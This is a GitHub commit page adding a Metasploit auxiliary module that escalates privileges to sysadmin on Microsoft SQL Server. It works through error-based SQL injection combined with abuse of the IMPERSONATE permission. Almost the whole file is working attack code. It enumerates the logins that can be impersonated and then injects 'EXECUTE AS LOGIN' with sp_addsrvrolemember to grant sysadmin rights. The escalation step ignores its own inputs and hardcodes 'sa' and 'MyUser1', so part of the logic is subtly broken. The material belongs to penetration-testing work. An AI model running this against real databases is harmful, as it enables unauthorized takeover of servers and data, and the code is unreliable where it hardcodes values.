Skip to content

Commit 56a02fd

Browse files
committed
added mssql_escalate_executeas_sqli.rb
1 parent 50a2f4c commit 56a02fd

File tree

1 file changed

+206
-0
lines changed

1 file changed

+206
-0
lines changed
Lines changed: 206 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,206 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/exploit/mssql_commands'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::MSSQL_SQLI
12+
include Msf::Auxiliary::Report
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Microsoft SQL Server - SQLi Escalate Execute As',
17+
'Description' => %q{
18+
This module can be used escalate privileges if the IMPERSONATION privilege has been assigned to the user
19+
via error based SQL injection. In most cases this results in additional data access, but in some cases it can be used to gain sysadmin
20+
privileges.
21+
22+
The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];--
23+
},
24+
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>'],
25+
'License' => MSF_LICENSE,
26+
'References' => [['URL','http://msdn.microsoft.com/en-us/library/ms178640.aspx']]
27+
))
28+
end
29+
30+
def run
31+
# Get the database user name
32+
print_status("#{peer} - Grabbing the database user name...")
33+
db_user = get_username
34+
if db_user.nil?
35+
print_error("#{peer} - Unable to grab user name...")
36+
return
37+
else
38+
print_good("#{peer} - Database user: #{db_user}")
39+
end
40+
41+
# Grab sysadmin status
42+
print_status("#{peer} - Checking if #{db_user} is already a sysadmin...")
43+
admin_status = check_sysadmin
44+
45+
if admin_status.nil?
46+
print_error("#{peer} - Couldn't retrieve user status, aborting...")
47+
return
48+
elsif admin_status == '1'
49+
print_error("#{peer} - #{db_user} is already a sysadmin, no escalation needed.")
50+
return
51+
else
52+
print_status("#{peer} - #{db_user} is NOT a sysadmin, let's try to escalate privileges.")
53+
end
54+
55+
# Get list of users that can be impersonated
56+
print_status("#{peer} - Enumerating a list of users that can be impersonated...")
57+
imp_user_list = check_imp_users
58+
if imp_user_list.nil? || imp_user_list.length == 0
59+
print_error('#{peer} - Sorry, the current user doesnt have permissions to impersonate anyone.')
60+
return
61+
else
62+
# Display list of users that can be impersonated
63+
print_good("#{peer} - #{imp_user_list.length} users can be impersonated:")
64+
imp_user_list.each do |dbuser|
65+
print_status("#{peer} - #{dbuser}")
66+
end
67+
end
68+
69+
# Check if any of the users that can be impersonated are sysadmins
70+
print_status("#{peer} - Checking if any of them are sysadmins...")
71+
imp_user_sysadmin = check_imp_sysadmin(imp_user_list)
72+
if imp_user_sysadmin.nil?
73+
print_error("#{peer} - Sorry, none of the users that can be impersonated are sysadmins.")
74+
return
75+
end
76+
77+
# Attempt to escalate to sysadmin
78+
print_status("#{peer} - Attempting to impersonate #{imp_user_sysadmin}...")
79+
escalate_privs(imp_user_sysadmin,db_user)
80+
81+
admin_status = check_sysadmin
82+
if admin_status && admin_status == '1'
83+
print_good("#{peer} - Success! #{db_user} is now a sysadmin!")
84+
else
85+
print_error("#{peer} - Fail buckets, something went wrong.")
86+
end
87+
end
88+
89+
def peer
90+
"#{rhost}:#{rport}"
91+
end
92+
93+
def get_username
94+
# Setup query to check for database username
95+
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
96+
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
97+
sql = "(select '#{clue_start}'+SYSTEM_USER+'#{clue_end}')"
98+
99+
# Run query
100+
result = mssql_query(sql)
101+
102+
# Parse result
103+
if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
104+
user_name = $1
105+
else
106+
user_name = nil
107+
end
108+
109+
user_name
110+
end
111+
112+
def check_sysadmin
113+
# Setup query to check for sysadmin
114+
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
115+
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
116+
sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin'))as varchar)+'#{clue_end}')"
117+
118+
# Run query
119+
result = mssql_query(sql)
120+
121+
# Parse result
122+
if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
123+
status = $1
124+
else
125+
status = nil
126+
end
127+
128+
status
129+
end
130+
131+
def check_imp_users
132+
# Setup query to check for trusted databases owned by sysadmins
133+
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
134+
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
135+
136+
# Setup query
137+
sql = "(select cast((SELECT DISTINCT '#{clue_start}'+b.name+'#{clue_end}'
138+
FROM sys.server_permissions a
139+
INNER JOIN sys.server_principals b
140+
ON a.grantor_principal_id = b.principal_id
141+
WHERE a.permission_name = 'IMPERSONATE' for xml path('')) as int))"
142+
143+
# Run query
144+
res = mssql_query(sql)
145+
146+
unless res && res.body
147+
return nil
148+
end
149+
150+
#Parse results
151+
parsed_result = res.body.scan(/#{clue_start}(.*?)#{clue_end}/m)
152+
153+
if parsed_result && !parsed_result.empty?
154+
parsed_result.flatten!
155+
parsed_result.uniq!
156+
end
157+
158+
parsed_result
159+
end
160+
161+
def check_imp_sysadmin(imp_user_list)
162+
# Check if the user has the db_owner role is any databases
163+
imp_user_list.each do |imp_user|
164+
# Setup query
165+
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
166+
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
167+
168+
sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin','#{imp_user}'))as varchar)+'#{clue_end}')"
169+
170+
# Run query
171+
result = mssql_query(sql)
172+
173+
unless result && result.body
174+
next
175+
end
176+
177+
#Parse results
178+
parsed_result = result.body.scan(/#{clue_start}(.*?)#{clue_end}/m)
179+
180+
if parsed_result && !parsed_result.empty?
181+
parsed_result.flatten!
182+
parsed_result.uniq!
183+
end
184+
185+
# check if user is a sysadmin
186+
if parsed_result[0] == '1'
187+
print_good("#{peer} - #{imp_user} is a sysadmin!")
188+
return imp_user
189+
else
190+
print_status("#{peer} - #{imp_user} is NOT a sysadmin")
191+
end
192+
end
193+
194+
nil
195+
end
196+
197+
# Attempt to escalate privileges
198+
def escalate_privs(imp_user,db_user)
199+
200+
# Setup Query - Impersonate the first sysadmin user on the list
201+
evil_sql = "1;EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember 'MyUser1','sysadmin';Revert;--"
202+
203+
# Execute Query
204+
result = mssql_query(evil_sql)
205+
end
206+
end

0 commit comments

Comments
 (0)